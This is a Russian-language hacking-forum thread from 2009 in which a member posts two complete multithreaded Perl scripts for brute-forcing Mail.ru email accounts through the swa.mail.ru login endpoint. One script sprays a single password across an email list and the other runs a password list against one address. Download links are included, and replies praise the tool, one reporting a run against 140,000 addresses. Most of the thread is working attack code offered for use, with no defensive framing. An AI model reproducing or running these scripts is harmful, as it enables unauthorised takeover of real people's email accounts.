Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[PERL]Multithread Mail.ru bruteforce by Sharky |
21.02.2009, 01:16
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739
Репутация:
921
|
|
[PERL]Multithread Mail.ru bruteforce by Sharky
Многопоточный Брутфорс Mail.ru by Sharky
Описание:
[!]Брутит на один пароль по списку мыл ( можно и переделать  ) через swa.mail.ru
[!]Многопоточнсть
[!]Высокая скорость брута (сам разгонял до 170 pps )
[!]Не требуются прокси
Редактируем в коде под себя:
Код:
########################################################
$emails = 'mail.txt'; #Файл с мылами
$good = 'good.txt'; #Файл с прочеканными гуд акками
$password = '111111'; #Пароль на который брутить
########################################################
$threads = '20'; #Количество потоков
$timeout = '5'; #Таймаут
########################################################
Source:
Лист мыл на один пароль:
PHP код:
#!/usr/bin/perl
use IO::Socket;
use threads;
use threads::shared;
########################################################
my @acc : shared;
my $i : shared;
my $g : shared;
my $total : shared;
########################################################
$emails = 'mail.txt'; #Файл с мылами
$good = 'good.txt'; #Файл с прочеканными гуд акками
$password = '111111'; #Пароль на который брутить
########################################################
$threads = '20'; #Количество потоков
$timeout = '5'; #Таймаут
########################################################
$hostname = "swa.mail.ru";
$port = '80';
$path = "/cgi-bin/auth";
########################################################
open( ACS, "<$emails" );
@acc = acc();
$size = scalar @acc;
threads();
sub threads {
$g = 0;
for ( 0 .. $threads ) { $trl[$_] = threads->create( \&check, $_ ); }
for (@trl) { $_->join; }
print "Good: $g ";
}
sub check {
while (@acc) {
{ lock(@acc); $acc = shift @acc; }
my ( $mail, $server ) = split( /@/, $acc );
$nn = "\r\n";
my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$password";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;
if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "$mail - [OK]\n";
open( FILE, ">>$good" );
print FILE "$acc:$password\n";
close(FILE);
$g++;
}
{ lock($i); $i++; }
$percent = ( $i / $size ) * 100;
$percent = sprintf( "%.0f", $percent );
print "$percent%" . $nn;
}
}
}
sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky
Одно мыло на лист паролей:
PHP код:
#!/usr/bin/perl
use IO::Socket;
use threads;
use threads::shared;
################################################## ######
my @acc : shared;
my $i : shared;
my $g : shared;
my $total : shared;
$| = 1;
print "
###################################################################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
###################################################################
";
################################################## ######
$email = shift;
$pass = shift;
$good = shift;
################################################## ######
$threads = shift;
$timeout = '5'; #Таймаут
################################################## ######
$hostname = "swa.mail.ru";
$port = '80';
################################################## ######
print "[+] Loading passwords... \n";
open( ACS, "<$pass" );
@acc = acc();
$size = scalar @acc;
print "[+] Loaded $size passwords \n";
threads();
sub threads {
print "[+] Start Brute\n\n";
for ( 0 .. $threads ) { $trl[$_] = threads->create( &check, $_ ); }
for (@trl) { $_->join; }
}
sub check {
while (@acc) {
{ lock(@acc); $passw = shift @acc; }
my ( $mail, $server ) = split( /@/, $email );
$nn = "\r\n";
my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$passw";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;
if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "$email:$passw - [OK]\n";
open( FILE, ">>$good" );
print FILE "$acc:$password\n";
close(FILE);
exit;
}
{ lock($i); $i++; }
}
$percent = ( $i / $size ) * 100;
$percent = sprintf( "%.0f", $percent );
print "[%]$percent%\r";
}
}
sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky
Использование одномыльного :
Код:
###################################################################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
###################################################################
Либо скачать архивом:
Rapidshare.com
Webfile.ru
Dump.ru
Последний раз редактировалось Sharky; 03.03.2009 в 13:28..
|
|
|
21.02.2009, 01:23
|
|
Новичок
Регистрация: 16.02.2009
Сообщений: 3
Провел на форуме:
62760
Репутация:
5
|
|
тестил... база мыл 140к. работает стабильно, только много процентов ну очень много)) |
|
|
|
21.02.2009, 12:49
|
|
Участник форума
Регистрация: 11.07.2007
Сообщений: 292
Провел на форуме:
2131521
Репутация:
512
|
|
Брутом не занимаюсь.Ну уважаю чела и его работы.+++
(потестил бы ,но перла нету)
|
|
|
|
21.02.2009, 14:35
|
|
Участник форума
Регистрация: 19.10.2005
Сообщений: 128
Провел на форуме:
584821
Репутация:
83
|
|
Молодец, хороший брутик, ++++++
|
|
|
|
21.02.2009, 15:31
|
|
Участник форума
Регистрация: 20.05.2008
Сообщений: 144
Провел на форуме:
1436858
Репутация:
171
|
|
Отлично !!! Многопоточность на красоту |
|
|
|
03.03.2009, 13:29
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739
Репутация:
921
|
|
по просьбам трудящихся добавил ещё один для брута одного мыла по словарю паролей
не стал их объединять ибо просто влом
ps Я ВСЕМИРНЫЙ ОБЛОМЩИК ТОРГАШЕЙ
Последний раз редактировалось Sharky; 03.03.2009 в 13:48..
|
|
|
|
03.03.2009, 15:41
|
|
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324
Репутация:
11
|
|
Сообщение от Sharky
первая версия давно тут лежит вторую написал по просьбам в аську А что включает 2я версия?
|
|
|
|
03.03.2009, 15:51
|
|
Участник форума
Регистрация: 03.07.2008
Сообщений: 177
Провел на форуме:
644324
Репутация:
11
|
|
Don1=2, ну так я разве не прав!??!.. Sharky очень хорошо написал.. и очень хорошо поступил...
|
|
|
|
03.03.2009, 18:50
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739
Репутация:
921
|
|
Сообщение от rcc0023
А что включает 2я версия?
1 - брут списка мыл по одному паролю
2 - брут одного мыла по списку паролей
|
|
|
|
03.03.2009, 19:27
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275
Репутация:
127
|
|
Ща буду тестить
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
